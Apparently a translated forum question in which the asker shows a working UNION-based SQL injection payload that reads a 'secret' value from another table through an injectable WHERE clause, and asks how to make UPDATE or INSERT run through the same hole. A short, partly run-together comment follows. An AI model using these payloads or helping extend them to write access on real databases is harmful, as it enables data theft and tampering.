There is one task. We have such a request:
SELECT `id`, `name`, `age` FROM `person` WHERE `id` = [мой код тут] I can add any code from the position of [my code], while the SELECT itself must succeed. That is, it must return one or more than one rows from the person table, while the columns also retain their names.
I did this:
-1 UNION SELECT 1,2,(SELECT `secret` FROM `table` WHERE `id`=123) and get a valid exit code:
SELECT `id`, `name`, `age` FROM `person` WHERE `id` = -1 UNION SELECT 1,2,(SELECT `secret` FROM `table` WHERE `id`=123) That is, I can read any other table. The question is different: Can I change another / this table? I tried the UPDATE and INSERT constructs, but they do not return anything.
SELECT `id`, `name`, `age` FROM `person` WHERE `id` = -1 UNION SELECT 1,2,(UPDATE `table` SET `secret`='newval' WHERE `id`=123) It turns out that the third element is equal to undefined or null (I do not know how correctly in mysql) and at the same time a syntax error is issued. Still, what I need: Run the UPDATE/INSERT within the SELECT command so that the SELECT itself returns something to us at the output - only then the very first SELECT (to which I do not have access) will execute without error.
Maybe someone has some ideas? Thank.
select 1will always return1=) ........ why do youputinupdateinstead ofset?) - Alexey Shimansky